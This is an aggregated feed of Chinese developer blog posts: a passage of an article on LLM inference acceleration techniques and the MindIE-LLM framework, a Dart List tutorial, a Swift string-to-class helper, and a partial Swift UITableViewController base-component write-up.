在大模型推理过程中,延迟和吞吐量是两个相互制约的指标。延迟是指用户从发出请求到收到响应所需的时间,影响着用户的体验,而吞吐量则表示系统在单位时间内处理的请求数量,直接影响系统的效率和成本。根据最新的技术大会内容,大模型推理中的延迟和吞吐量之间存在显著的挑战,尤其在以下方面:

2.1. 推理过程中的Prefill和Decode阶段

在推理过程中,大模型的推理可以分为Prefill阶段和Decode阶段。如图(3)所示,这幅图描述了大模型推理的流水线过程,主要分为两个阶段:Prefill阶段和Decode阶段。以下是对图中每个部分的解释:

图(3)(来源:大会演示PPT截图 )

Prefill阶段主要处理输入序列的特征提取,而Decode阶段则涉及到逐步生成输出。在这两个阶段中,由于不同请求输入长度的差异,计算的需求和复杂度存在较大变化,导致难以充分利用计算资源。例如,在Prefill阶段,计算需求较大且资源消耗高,而在Decode阶段,每次仅生成一个token,计算任务相对较小且不均匀,导致计算资源利用率低下。

针对传统 PD 分离在 Prefill 和 Decode 阶段存在的计算需求不均衡、通信开销大等问题,本文在后续部分将讨论优化后的方案如何解决这些问题。

2.2. 自回归推理的低计算力利用率

在Decode阶段,大模型需要逐token地生成输出,每次的计算量小,计算效率低下。此外,计算过程中涉及到的解码操作多为GEMV(矩阵向量乘法),其计算密度低,导致计算资源利用不足。同时,KV缓存的访问呈现随机访问模式,增加了访问延迟,使得整个推理过程的效率进一步降低。

2.3. 计算任务的不均衡和资源调度困难

由于Prefill阶段和Decode阶段的计算需求差异显著,这导致了大模型推理过程中计算资源的利用率较低。此外,不同请求的输入长度和输出需求各不相同,使得批量化(batch)处理变得更加困难。例如,batch中的请求在Prefill和Decode阶段的输入、KV缓存的维护等方面均存在显著的差异,进一步加剧了推理系统的复杂性和计算资源利用不均衡的问题。

总体来看,大模型推理中的延迟和吞吐量之间的权衡涉及多方面的技术挑战,包括如何高效地调度计算资源、优化Prefill和Decode阶段的计算过程,以及降低自回归推理中的延迟等。这些挑战直接影响大模型在实际应用中的性能和用户体验,是大模型推理加速中必须解决的重要问题。

3. 从单模态到多模态的推理成本增加

大模型的应用场景正在逐步从单模态扩展到多模态,例如从处理文本到处理图像,再到音视频等复杂数据类型。这种扩展虽然增强了模型的能力,但也带来了推理成本的进一步增加。根据2024年全球机器学习技术大会的讨论,音视频数据具有长序列特性,使得计算量和显存需求进一步增大。

3.1. 多模态处理带来的资源消耗

在多模态场景中,模型需要处理不同类型的数据,例如图像、音频和视频等,这些数据的处理要求模型具备更高的计算能力和更大的存储空间。从单模态(如文本)到多模态(如图像、音视频),处理过程中的计算复杂度呈指数级增长。例如,在处理视频数据时,模型需要对每一帧进行特征提取和推理,这使得推理的计算量远远超过传统文本处理,导致推理时间显著增加。

3.2. OpenAI o1模型的复杂推理任务

根据大会的讨论,OpenAI推出的o1模型经过强化学习训练,具备执行复杂推理任务的能力,其内部包含了很长的思维链路(COT, Chain of Thought),需要处理大量的计算任务。这种增强虽然提升了模型在复杂任务上的表现,但也使得推理过程变得更加耗时。如图(4)所示,o1在进行复杂代码竞赛任务(如CodeForces)和科学领域高难度问题时,其推理性能得到了显著提高,但也需要付出更高的计算成本和推理时间。

图(4)(来源:大会演示PPT截图 )

3.3. 推理计算成本的增加

随着多模态任务的普及,大模型的推理需要处理更高维度的数据,且通常需要更多的计算资源来完成一系列复杂的推理任务。从PPT的推理计算比较图中可以看出,随着生成输出的增加,推理所需的计算量(以FLOPS为单位)呈现指数级增长,这进一步加剧了推理的计算成本。尤其是在视频处理等场景中,推理成本的增加对硬件性能提出了更高的要求,甚至需要专门设计的硬件加速器来满足实时推理的需求。

总的来说,从单模态到多模态的扩展,以及复杂推理任务(如OpenAI o1的COT)对计算资源的要求显著增加,使得大模型的推理成本不断攀升。未来的大模型推理需要进一步优化硬件和软件协同设计,以实现对多模态数据的高效处理,并降低推理的计算和存储成本。

二、加速方案的主要思路

为了应对这些挑战,研究者们提出了多种大模型推理加速技术,主要包括以下几个层次的优化:

1. 算子层优化

在算子层优化方面,主要通过对底层算子的加速和融合来减少计算开销、提高性能。例如:

1.1. Operator Fusion

通过将多个算子融合为一个复杂算子,可以减少内存访存次数,加快计算速度。常用的融合算子包括但不限于FlashAttention、KVCache、LayerNorm、RMSNorm等。

例如FlashAttention通过在计算过程中优化内存带宽利用,将数据块从HBM(高带宽内存)复制到SRAM中,减少了计算过程中的内存访问延迟,并在SRAM中进行尽可能多的计算,以提高整体带宽利用率和计算效率。这种方法有效地减少了传统Attention机制中由于大量内存访问而产生的性能瓶颈。如图(5)所示, FlashAttention的计算和数据传输过程,下表逐步解释它的计算和数据传输过程。

图(5)(来源:大会演示PPT截图 )

1.2. High-Performance Acceleration Library

使用如ONNX Runtime、TVM、cuBLAS、FasterTransformer等高性能加速库,来优化常见的神经网络算子的计算性能。例如,FasterTransformer是专门为Transformer类网络设计的加速引擎,利用CUDA编写,依赖于高度优化的算子库来提高推理速度。如图(6)中, 它展示了NVIDIA的FasterTransformer如何优化大模型的推理任务 ,下表逐步解释它的计算和数据传输过程。

图(6)(来源:大会演示PPT截图 )

总结来说,FasterTransformer通过多GPU/多节点加速和优化模型架构,显著提高了大规模预训练模型的推理速度和效率。图中描述的这种加速机制特别适用于需要高吞吐量和低延迟的推理任务,例如文本生成、摘要和嵌入表示等。

1.3. Layer Fusion

在多头注意力机制中,可以将所有操作合并到一个计算核中,减少数据传输并提高数学密度,从而加速推理阶段的计算。层融合的一个典型例子是在多头注意力机制中,通过将Queries、Keys、Values的所有操作合并到一个计算核中执行(如Grouped-query和Multi-query方式)。Grouped-query是将若干个查询头合并为一个计算核处理,从而减少计算和内存访问次数,降低开销。而Multi-query则是将所有查询共享相同的Keys和Values,从而减少数据传输的量,提高计算效率。图(7)中展示了三种不同的Attention机制:Multi-head、Grouped-query、Multi-query,表明通过Grouped-query和Multi-query可以显著减少注意力计算中的数据传输次数,进而提升推理速度。

图(7)(来源:大会演示PPT截图 )

2. 算法层优化

算法层面的优化通常通过创新或者改进现有的算法来实现,包括但不限于以下几种方式:

2.1. Quantization Techniques

使用精度更低的单位来表示模型的权重或激活值,以节省空间和加速模型推理速度。例如,使用SmoothQuant、AWQ、GPTQ等量化方法,可以实现8Bit甚至更低精度的量化,以降低模型的计算开销[1]。此外,量化可以进一步分为权重量化和权重与激活同时量化,这在推理中可以显著减少内存占用和带宽需求。如图(8)所示,展示了SmoothQuant量化前后的对比,下表详细解释了图中展示的内容。

图(8)(来源:大会演示PPT截图 )

2.2. Speculative Decoding

在自回归大模型推理中,通过使用一个简洁且反应迅速的小型模型来辅助解码,提升推理速度。例如,EAGLE、Medusa等方案通过自回归预测加速推理过程,大幅降低推理的计算复杂度。研究表明,通过学习模型的权重和连接结构,可以有效地提高神经网络的计算效率[2]。投机采样机制,通过小模型和大模型的协同工作来优化推理过程和精度, 投机采样机制包Fallback(回退)和Rollback(回滚)两个策略 ,下表详细解释了投机采样机制的内容。

2.3. Sharding Strategy Optimization

对于超大模型的推理,可以通过模型分片将不同部分的计算任务分布到多个设备上,这样可以减少单个设备的内存压力和计算瓶颈,从而提高整体推理性能[3]。

3. 框架层优化

框架层的优化主要关注如何高效地利用计算资源来执行大模型的推理任务。以下是一些常见的框架层优化手段:

3.1. Contiguous Batching

通过在推理过程中保持请求的连续批量处理,减少上下文切换和内存调度带来的开销,从而提高推理效率。

3.2. PageAttention

这种优化方法可以有效地管理Attention机制中的KV存储,减少内存占用,提高内存访问效率。如图(10)所示,可以看到PageAttention通过优化KV存储,将逻辑KV块映射到物理KV块,从而减少内存碎片和访问延迟,提升系统吞吐量。

图(10)(来源:大会演示PPT截图 )

3.3. TensorRT-LLM和MindelIE-LLM框架

这些框架通过支持多种Attention机制(如MHA、MQA、GQA),以及流水线并行、跨层并行等技术,进一步提高了推理的吞吐量和响应速度[4]。

TensorRT-LLM 框架对 Multi-Head Attention 进行了硬件加速和算子优化,能够通过减少矩阵操作的计算量来提高推理速度。

在 MindelIE-LLM 中,通过使用 Grouped-Query Attention (GQA) 和 Multi-Query Attention (MQA),有效提升了在多任务并行和长序列推理任务中的性能表现。GQA 可以通过分组共享 Key 和 Value 来减少内存占用和提升计算效率,而 MQA 则能通过对所有 Query 使用相同的 Key 和 Value,进一步减少计算和内存开销

四、案例分析与实验结果

在本文中,我们通过实际案例研究和实验分析,展示了MindIE-LLM框架在推理加速中的效果。MindIE LLM(Mind Inference Engine Large Language Model)是华为昇腾推出的大语言模型推理组件,旨在为大模型推理任务提供高性能解决方案。该组件基于昇腾硬件,支持多并发请求的调度功能,并集成了多种加速特性,如连续批处理(Continuous Batching)、分页注意力(Page Attention)和快速解码(FlashDecoding),以满足用户对高性能推理的需求。MindIE LLM主要提供大模型推理的Python API和调度的C++ API,帮助用户快速部署和测试大模型推理任务,下面我们具体介绍MindIE-LLM中的优化技术及其实验结果:

1. MindIE-LLM框架结构

MindIE-LLM框架通过模块化设计,实现了LLM推理的高效管理和部署。该框架包括多个子模块,如LLM Manager、Text Generator、Modeling等,它们分别负责不同的推理任务管理和计算优化工作。下图展示了MindIE-LLM的整体架构和各模块功能(见图11)。

图(11)(来源:大会演示PPT截图 )

2. FlashAttention和FlashDecoding

MindIE-LLM框架中使用了FlashAttention和FlashDecoding技术,用于在推理阶段加速计算。FlashAttention通过批量处理和优化内存带宽利用,显著减少了计算的等待时间,而FlashDecoding则对长序列场景下的解码过程进行了优化。通过对计算流程的并行化,使得即便在batch size较小的情况下也能有效利用计算资源。下图展示了FlashAttention和FlashDecoding的工作原理(见图12)。

图(12)(来源:大会演示PPT截图)

2.1. FlashAttention 和 FlashDecoding优化前后的性能对比

3. Continuous Batching

在推理过程中,传统的Naive Batching会导致计算冗余和内存浪费,MindIE-LLM通过引入Continuous Batching减少了这些问题。Continuous Batching将推理任务按Prefill和Decode两个任务调度,以减少不必要的等待时间和内存开销。实验数据显示,使用Continuous Batching可以将吞吐量提升至3到4倍,相比传统方法有显著优势(见图13)。

图(13)(来源:大会演示PPT截图 )

3.1. Continuous Batching优化前后的性能对比

4. SplitFuse优化

MindIE-LLM还引入了SplitFuse优化策略,将Prefill和Decode阶段进行合理的融合,减少了计算过程中的通信开销,从而提高了整体性能。下图展示了SplitFuse的具体工作方式及其带来的吞吐量和延迟改善(见图14)。

图(14)(来源:大会演示PPT截图 )

4.1. SplitFuse 优化前后的性能对比

5. PD分离部署

在MindIE-LLM框架中,推理任务被划分为Prefill和Decode两个阶段,并通过PD分离的方式在不同物理设备上并行执行。这种优化策略有效地减少了阶段之间的依赖性,提高了硬件资源利用率。下图展示了PD分离部署方案的工作原理(见图15)。

图(15)(来源:大会演示PPT截图 )

5.1. PD 分离部署优化前后的性能对比

6. 多机推理与通信计算融合

MindIE-LLM框架还通过多机推理与通信计算融合策略来优化计算性能。在跨节点的大规模推理场景中,计算和通信往往会成为瓶颈。通过引入通信计算融合策略,MindIE-LLM能够将通信与计算任务并行执行,从而减少了通信延迟,最终实现了大约80%的通信时间减少(见图16)。

图(16)(来源:大会演示PPT截图 )

6.1. 多机推理与通信计算融合优化前后的性能对比

五、总结与展望

1.总结

1.1. 大模型推理加速是一个系统工程

大模型推理加速涉及算子、算法、框架、资源调度、底层芯片等全栈综合能力的协调与优化,是一个全方位的系统工程。每一个层次的优化都对模型推理的整体性能起着至关重要的作用。在算子层面,通过算子融合和高性能加速库可以大幅减少计算时间;在算法层面,通过量化、分片策略以及其他创新技术的引入,能够有效地降低计算和内存的需求;在框架层面,通过框架优化和资源调度技术,能够更好地利用硬件资源,减少延迟和提升吞吐量。

1.2. 提升硬件资源利用率是核心

大模型推理加速的核心在于提升硬件资源的利用率,减少计算量,减少通信开销,从而提高整体的推理性能。通过算子融合、分片计算、通信计算融合等策略,能够最大程度地利用现有的计算资源,达到提高推理速度、降低推理成本的目标。尤其是在面对庞大模型和多模态任务的推理时,提升硬件利用率尤为重要。

1.3. 挑战依然存在,但有望通过协同优化逐步克服

虽然大模型推理在高计算成本、内存需求、延迟与吞吐量权衡等方面面临巨大挑战,但通过硬件和软件协同优化,特别是通过设计针对Prefill和Decode阶段的专有硬件、量化模型和分片策略优化等手段,这些挑战是可以逐步克服的。同时,针对不同的推理场景,采用异构加速等手段也能够充分发挥各类硬件设备的优势。

2.展望

2.1. 更少的计算

未来可以探索更极致的压缩和量化算法,例如更低精度的量化(如4-bit甚至更低),以最大限度减少计算量。此外,未来的研究还可以关注替换部分Transformer模块的功能,以简化模型的复杂度,从而进一步降低计算需求。这些改进将帮助在相对有限的硬件资源上部署大模型,降低推理成本,使大模型的应用更加普及。

2.2. Prefill和Decode阶段的硬件专用设计

在推理过程中,Prefill和Decode两个阶段有着不同的计算需求和资源瓶颈。Prefill阶段主要是计算密集型任务,而Decode阶段更注重内存的访问效率。未来,设计专用的硬件模块来针对性地处理这两个阶段,能够有效提高推理效率。例如,为Prefill阶段设计更高计算密度的处理器,或者为Decode阶段优化内存带宽的硬件模块,这样可以显著提升整体推理速度。

2.3. 异构加速和混合计算平台的应用

未来的推理加速还可以进一步探索异构加速,充分利用不同硬件平台的优势来加速大模型推理。例如,可以将部分不适合GPU加速的计算任务分配给CPU执行,通过CPU的多核并行能力来提升效率。此外,还可以结合专用加速器(如FPGA、TPU)和GPU来构建混合计算平台,以最优方式分配不同类型的计算任务,从而充分利用每种硬件的性能优势,提高整体推理效率。

2.4. 动态负载平衡与智能资源调度

随着大模型推理场景的不断扩展,推理系统需要处理不同规模和复杂度的请求,这就需要更加智能的资源调度和动态负载平衡方案。未来的推理系统可以结合AI技术,实时分析和预测请求的计算需求,并动态调整资源的分配,以确保推理延迟和吞吐量的最优表现。这种智能调度机制将极大提高系统的资源利用率和响应速度,特别是在多模态任务和异构加速场景下具有显著的优势。

2.5. 分布式推理与边缘计算

随着模型规模的不断增大,单一节点的推理能力已难以满足需求。未来的推理系统可以更多地采用分布式推理方案,通过多节点协同处理大模型的推理任务,从而突破单一设备的性能瓶颈。此外,在边缘计算场景下,可以将大模型拆分为若干部分,部署到不同的边缘设备上进行协作推理,这不仅可以减少中心服务器的负载,还能够提升推理任务的实时性和可靠性。

五、参考文献

[1] Jacob, B., Kligys, S., Chen, B., Zhu, M., Tang, M., Howard, A., Adam, H., & Kalenichenko, D. (2018). Quantization and Training of Neural Networks for Efficient Integer-Arithmetic-Only Inference. Proceedings of the IEEE Conference on Computer Vision and Pattern Recognition (CVPR).

[2] Han, S., Pool, J., Tran, J., & Dally, W. J. (2015). Learning both Weights and Connections for Efficient Neural Networks. Advances in Neural Information Processing Systems (NeurIPS).

[3] Shoeybi, M., Patwary, M., Puri, R., LeGresley, P., Casper, J., & Catanzaro, B. (2019). Megatron-LM: Training Multi-Billion Parameter Language Models Using Model Parallelism. arXiv preprint arXiv:1909.08053.

[4] NVIDIA Corporation. (2021). NVIDIA TensorRT: High-Performance Deep Learning Inference Optimizer and Runtime. Available: developer.nvidia.com/tensorrt

-End-

作者丨FastJson

by 哔哩哔哩技术 at January 21, 2025 04:00 AM

juejin android

系统化掌握Dart编程之列表(List)

image.png

前言

集合 —— 操作批量数据核心工具

在日常生活中,我们经常遇到需要批量处理的数据,例如一个班级里有很多学生、每个班级有学生的花名册、学生考试后有成绩表等。如何高效地管理和维护这些结构相似的批量数据是编程中非常重要的课题。在编程术语中,可以称这样的数据为集合类型复合数据类型。在 Dart 中,最常用的三种集合类型分别是:列表List)、集合Set) 和 映射Map)。

接来下来我们一起开启探索列表List)的神奇之旅。

千曲而后晓声,观千剑而后识器。虐它千百遍方能通晓其真意

一、基本概念

1.1、图像表示

序号姓名
1Alice
2Bob
3Charlie
4David

如上图所示,有一个班级的学生名单,按学号顺序排列。可以轻松找到第一个、第二个,甚至最后一个学生的名字。这就是 List 的工作方式 —— 它是一个有序的元素序列,可以重复存储相同的元素,并且可以根据位置(索引快速访问或修改任何元素

1.2、定义

List是一个基于动态数组实现的数据结构,它可以存储相同类型不同类型的元素。List有序的,这意味着每个元素都有一个固定的索引位置,可以通过索引来快速访问或修改这些元素(随机访问)。

// 创建一个 List
List<String> names = ['Alice', 'Bob', 'Charlie''David'];

1.3、特点

  • 1、有序:就像班级里的学生名单,每个学生的顺序是固定的
  • 2、允许重复:如果某个学生在不同的活动中多次出现,比如参加多个社团,名字可以重复出现在名单中
// 学生名单
List<String> studentNames = ['Alice', 'Bob', 'Charlie', 'Alice'];

// 添加新学生
studentNames.add('David');

// 输出名单
print(studentNames); // 输出: [Alice, Bob, Charlie, Alice, David]

1.4、泛型支持

DartList 支持泛型,允许指定列表中元素的具体类型,从而提高代码的类型安全性可读性

// 创建一个泛型为int类型的list
List<int> numbers = [1, 2, 3, 4, 5];
// 创建一个泛型为String类型的list
List<String> names = ['Alice', 'Bob', 'Charlie', 'David'];
// 创建一个泛型为dynamic类型的list
List<dynamic> list = ['Alice', 1, false];

二、创建和初始化

2.1、直接创建

最简单的方式是直接在方括号中列出元素

List<int> numbers = [1, 2, 3, 4, 5];

2.2、使用构造函数

使用 List 类的构造函数来创建一个空列表具有固定长度的列表

// 创建一个空列表
List<String> emptyList = List<String>.empty(growable: true);

// 创建一个固定长度的列表,所有元素初始为 null
List<int> fixedLengthList = List<int>.filled(5, 0);

2.3、使用List.generate

List.generate 构造函数可以根据提供的生成器函数创建一个列表

List<int> generatedNumbers = List.generate(5, (index) => index * 2);
print(generatedNumbers); // 输出: [0, 2, 4, 6, 8]

三、访问和修改

3.1、访问元素

可以通过索引访问 List 中的元素,索引从 0 开始。

List<String> names = ['Alice', 'Bob', 'Charlie'];
print(names[0]); // 输出: Alice

3.2、修改元素

同样,可以通过索引修改 List 中的元素。

names[1] = 'Bobby';
print(names); // 输出: [Alice, Bobby, Charlie]

3.3、添加元素

  • 1、添加到末尾:使用add方法。
names.add('David');
print(names); // 输出: [Alice, Bobby, Charlie, David]
  • 2、添加到指定位置:使用insert方法。
names.insert(1, 'Betty');
print(names); // 输出: [Alice, Betty, Bobby, Charlie, David]

3.4、移除元素

  • 1、移除指定元素:使用remove方法。
names.remove('Betty');
print(names); // 输出: [Alice, Bobby, Charlie, David]
  • 2、移除最后一个元素:使用removeLast方法。
names.removeLast();
print(names); // 输出: [Alice, Bobby, Charlie]
  • 3、清空列表:使用clear方法。
names.clear();
print(names); // 输出: []

四、遍历

4.1、使用for循环

使用传统的for循环来遍历List

for (int i = 0; i < numbers.length; i++) {
  print(numbers[i]);
}

4.2、使用forEach

使用forEach来遍历List,简化遍历操作。

numbers.forEach((number) => print(number));

4.3、使用for-in循环

for-in 循环提供了一种简洁的遍历方式。

for (var number in numbers) {
  print(number);
}

五、常用属性和方法

5.1、属性

// length:获取 List 的长度
print(numbers.length); // 输出: 5
// isEmpty 和 isNotEmpty:检查 List 是否为空。
print(emptyList.isEmpty); // 输出: true

5.2、常用方法

  • 1、查找元素:使用indexOfcontains方法。
print(numbers.indexOf(3)); // 输出: 2
print(numbers.contains(5)); // 输出: true
  • 2、排序:使用sort方法。
numbers.sort(); // 默认按升序排序
print(numbers); // 输出: [1, 2, 3, 4, 5]
  • 3、转换:使用mapwhere等高阶函数。
List<int> doubledNumbers = numbers.map((n) => n * 2).toList();
print(doubledNumbers); // 输出: [2, 4, 6, 8, 10]

List<int> evenNumbers = numbers.where((n) => n % 2 == 0).toList();
print(evenNumbers); // 输出: [2, 4]

六、不可变列表(List.unmodifiable)

有时需要确保一个 List 不会被修改。可以使用 List.unmodifiable 来创建一个不可变的 List

List<int> immutableNumbers = List.unmodifiable([1, 2, 3, 4, 5]);

// 下面这行代码会抛出异常,因为 immutableNumbers 是不可变的
// immutableNumbers.add(6);

七、总结

DartList 提供了丰富的功能和灵活的操作方式,使得处理有序数据变得非常方便。通过合理利用 List 的各种特性,可以编写出更加简洁高效易于维护的代码。

欢迎一键四连关注 + 点赞 + 收藏 + 评论

by 地狱勇士 at January 21, 2025 03:57 AM

juejin ios

iOS工具类 - 字符串转本类(类type)

2025.01.21 工作变动原因,故将一些工作期间Tapd内部写的Wiki文档转移到个人博客。

字符串转类:通用AnyClass版在文末

在OC中,利用NSClassFromString("XXXTableViewCell")就可以轻松得到一个类实例。 在Swift中,如果直接使用这个方法却会得到nil

想要达到的实现:在使用纯Model搭建组件的时候,程序在底层框架构建Cell的时候只需要一个类名(String类型)就可以完成所有事情,而不需要把cell先初始化出来。

这是一篇于 iOS 基础系统组件UICollectionViewController框架搭建设计与实现探究 延伸出来的文章。

  • 字符串转类


/// 字符串转类type
func cellClassFromString(_ className:String) -> AnyClass {
    // 1、获swift中的命名空间名
    var name = Bundle.main.object(forInfoDictionaryKey: "CFBundleExecutable") as? String
    // 2、如果包名中有'-'横线这样的字符,在拿到包名后,还需要把包名的'-'转换成'_'下横线
    name = name?.replacingOccurrences(of: "-", with: "_")
    // 3、拼接命名空间和类名,”包名.类名“
    let fullClassName = name! + "." + className
    // 4、因为NSClassFromString()返回的AnyClass?,需要给个默认值返回!
    let classType: AnyClass = NSClassFromString(fullClassName) ?? VEBTableViewCell.self
    // 类type
    return classType
}

在用cellClassFromString(_ className:String)得到类Type之后,既能使用classType.self 或者 classType.ClassForCorde() 来进行重用Cell的注册。


// 注册cell方法
tableView.register(cellClassFromString("类名").self, forCellReuseIdentifier: "\("类名")!)")

又能直接使用类Type来进行tableViewCell的初始化

override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
    
    // 得到AnyClass
    let anyClass: AnyClass = cellClassFromString(str)
    // 强转自己需要的类,使用类方法 .cell来得到一个实例对象
    let classType = anyClass as! VEBTableViewCell.Type

    let cell = classType.cell(tableView)
    return cell
}


  • (通用)最后也可以把这个方法封装到String+Extension里面,作为通用方法:


/// 字符串转类
func classFromString(_ className:String) -> AnyClass? {
    // 1、获swift中的命名空间名
    var name = Bundle.main.object(forInfoDictionaryKey: "CFBundleExecutable") as? String
    // 2、如果包名中有'-'横线这样的字符,在拿到包名后,还需要把包名的'-'转换成'_'下横线
    name = name?.replacingOccurrences(of: "-", with: "_")
    // 3、拼接命名空间和类名,”包名.类名“
    let fullClassName = name! + "." + className
    // 通过NSClassFromString获取到最终的类
    let anyClass: AnyClass? = NSClassFromString(fullClassName)
    // 本类type
    return anyClass
}

by gla1ve_Yim at January 21, 2025 03:50 AM

iOS 基础系统组件UITableViewController框架搭建设计与实现探究

2025.01.21 工作变动原因,故将一些工作期间Tapd内部写的Wiki文档转移到个人博客。

在设计base collection类的时候,顺便设计了一份base table,项目里已经有一份已经在用的base table框架了,考虑到取长补短的原因,在这里还是做一次技术设计与实现。 一次iOS组内分享会中分享自己的想法后,在这里把设计思路和源码放上来以作记录。

因为是一边学习Swift一边写的,有一些语法问题上还可以再做一步优化(比如,把一些逻辑! 强制解析 as! 类型改成可选型 as? 防止崩溃,不过使用 as! 也能更好帮助开发阶段调试定位问题),先在这里做大体框架的源码设计与实现分享。

这份一是基于 《阅读类APP》 的demo

一、设计思想与实际作用

1.统一代码开发规范,命名方式

首先,因为每个程序员思考方式不同,想法不同,写出来的代码、文件命名等等,自然会有不一样的地方。如果有一套统一的、能覆盖大多数场景的开发模板(base组件),将会大大减少新员工或者相同开发人员交替开发的阅读成本、开发成本

2.提高开发效率

有一套设计良好的基础组件模板,可以减少开发中一些基础 UITableViewController 功能的重复代码编写,也可以迅速的复用相似的UI层到相同的新页面中。

3.使代码更加内聚

如果能够把 UITableViewController 常用的功能封装后,一个构造函数完成以前需要好几个代理方法才能写完的功能,这样一个构造函数,对于开发、维护以及更新页面的时候就会变得特别方便。 既能把处理逻辑放到一起,也能让代码顺序对应页面元素顺序,大大提高了代码的可阅读性、可维护性、开发效率

二、框架搭建与源码实现

base TableViewController 组件 YYYBaseTableViewController

//  Created by Yimmm on 2022/6/2.
//  Copyright © 2022 xj. All rights reserved.
//  baseCollectionViewController组件

import UIKit

@objc protocol YYYTableViewDelegate: AnyObject {
    
    /**
     didSelect回调
     tableViewModel: 数据源TableViewModel
     didSelectCellModel: 点击Cell的CellModel
     */
    @objc optional func tableViewModel(_ tableViewModel: YYYBaseTableViewModel, didSelectCellModel: YYYBaseTableViewCellModel,didSelectRowAt indexPath: IndexPath)
    
    /**
     heightForRow回调
     tableViewModel: 数据源TableViewModel
     cellModel: 当前Cell的CellModel
     返回当前cell的行高(可自定义处理动态cell的高度)
     */
    @objc optional func tableViewModel(_ tableViewModel: YYYBaseTableViewModel, cellModel: YYYBaseTableViewCellModel, heightForRowAt indexPath: IndexPath) -> CGFloat
    
    /**
     viewForHeaderInSection回调
     tableViewModel: 数据源TableViewModel
     sectionModel: 当前secion的sectionModel
     返回section中的HeaderView
     */
    @objc optional func tableViewModel(_ tableViewModel: YYYBaseTableViewModel, sectionModel: YYYBaseTableViewSecionModel, viewForHeaderInSection section: Int) -> UIView?
    
    /**
     heightForHeaderInSection回调
     tableViewModel: 数据源TableViewModel
     sectionModel: 当前secion的sectionModel
     返回SectionHeader的高度
     */
    @objc optional func tableViewModel(_ tableViewModel: YYYBaseTableViewModel, sectionModel: YYYBaseTableViewSecionModel, heightForHeaderInSection section: Int) -> CGFloat
    
    
    /**
     点击内TableViewCell里按钮的回调
     cellModel: 点击Cell的CellModel
     */
    @objc optional func clickTableViewCellInsideButton(_ tableViewModel: YYYBaseTableViewModel, cellModel: YYYBaseTableViewCellModel, senderTag: Int)
    
    
    /**
     点击tableViewCell内CollectionViewCell回调
     collectionViewModel: 数据源collectionViewModel
     didSelectCellModel: 点击Cell的CellModel
     */
    @objc optional func clickInsideCollectionViewCell(_ collectionViewModel: YYYBaseCollectionViewModel, didSelectCellModel cellModel: YYYBaseCollectionViewCellModel, didSelectItemAt indexPath: IndexPath)
    
}




class YYYBaseTableViewController: UITableViewController, YYYTableViewCellDelegate {
    
    /// 数据源viewModel
    var viewModel: YYYBaseTableViewModel? {
        didSet {
            // FIXME: - 业 注册重用
            // 注册cell,我也不知道这种方式好不好,待测试(或者可以像TableViewable一样给一个注册方式给VC)
            for sectionModel in viewModel!.sectionModels {
                
                for cellModel in sectionModel.cellModels {
                    
                    tableView.register(cellClassFromString(cellModel.cellClass).self, forCellReuseIdentifier: "\(cellModel.cellClass!)")
                }
            }
            tableView.reloadData()
        }
    }
    
    weak var delegate: YYYTableViewDelegate?

    override func viewDidLoad() {
        super.viewDidLoad()
        setupTableView()
    }
    
    
    private func setupTableView() {
        tableView.dataSource = self
        tableView.delegate = self
        tableView.backgroundColor = .background_light
        tableView.separatorStyle = .none
        tableView.estimatedRowHeight = 0
        tableView.sectionFooterHeight = 0
        tableView.sectionHeaderHeight = 0
        tableView.estimatedSectionHeaderHeight = 0
        tableView.estimatedSectionFooterHeight = 0
        tableView.showsVerticalScrollIndicator = false
        tableView.showsHorizontalScrollIndicator = false
        if #available(iOS 15.0, *) {
              tableView.sectionHeaderTopPadding = 0
        }
    }
    
    // MARK: - Private Method
    
    /// 字符串转类
    func cellClassFromString(_ className:String) -> AnyClass {
        // 1、获swift中的命名空间名
        var name = Bundle.main.object(forInfoDictionaryKey: "CFBundleExecutable") as? String
        // 2、如果包名中有'-'横线这样的字符,在拿到包名后,还需要把包名的'-'转换成'_'下横线
        name = name?.replacingOccurrences(of: "-", with: "_")
        // 3、拼接命名空间和类名,”包名.类名“
        let fullClassName = name! + "." + className
        // 4、如果取不到,给个默认值
        let classType: AnyClass = NSClassFromString(fullClassName) ?? YYYTableViewCell.self
        // 本类type
        return classType
    }
    
    
    

    // MARK: - Table view data source

    override func numberOfSections(in tableView: UITableView) -> Int {
        let sections = viewModel?.sectionModels.count ?? 0
        return sections
    }

    override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
        let rows = viewModel?.sectionModels[section].cellModels.count ?? 0
        return rows
    }
    
    override func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat {
        let height: CGFloat = self.delegate?.tableViewModel?(viewModel!, cellModel: viewModel!.sectionModels[indexPath.section].cellModels[indexPath.row], heightForRowAt: indexPath) ?? 0
        if height != 0 {
            return height
        }
        
        return viewModel!.sectionModels[indexPath.section].cellModels[indexPath.row].cellHeight
    }
    
    override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
        let str = viewModel!.sectionModels[indexPath.section].cellModels[indexPath.row].cellClass!
        // 得到AnyClass
        let anyClass: AnyClass = cellClassFromString(str)
        // 强转自己需要的类
        let classType = anyClass as! YYYTableViewCell.Type
        // 使用类方法 .cell来得到一个实例对象
        let cell = classType.cell(tableView)
        cell.cellModel = viewModel!.sectionModels[indexPath.section].cellModels[indexPath.row]
        cell.cellDelagte = self
        return cell
    }
    
    
    override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
        self.delegate?.tableViewModel?(viewModel!, didSelectCellModel: viewModel!.sectionModels[indexPath.section].cellModels[indexPath.row], didSelectRowAt: indexPath)
    }
    
    override func tableView(_ tableView: UITableView, viewForHeaderInSection section: Int) -> UIView? {
        let haeder = self.delegate?.tableViewModel?(viewModel!, sectionModel: viewModel!.sectionModels[section], viewForHeaderInSection: section) ?? nil
        return haeder
    }
    
    override func tableView(_ tableView: UITableView, heightForHeaderInSection section: Int) -> CGFloat {
        let height = self.delegate?.tableViewModel?(viewModel!, sectionModel: viewModel!.sectionModels[section], heightForHeaderInSection: section) ?? 0
        return height
    }
    
    
    // MARK: - YYYTableViewCell Delegate
    func clickInsideCollectionViewCell(_ collectionViewModel: YYYBaseCollectionViewModel, didSelectCellModel cellModel: YYYBaseCollectionViewCellModel, didSelectItemAt indexPath: IndexPath) {
        self.delegate?.clickInsideCollectionViewCell?(collectionViewModel, didSelectCellModel: cellModel, didSelectItemAt: indexPath)
    }
    
    func clickInsideButton(_ cellModel: YYYBaseTableViewCellModel, senderTag: Int) {
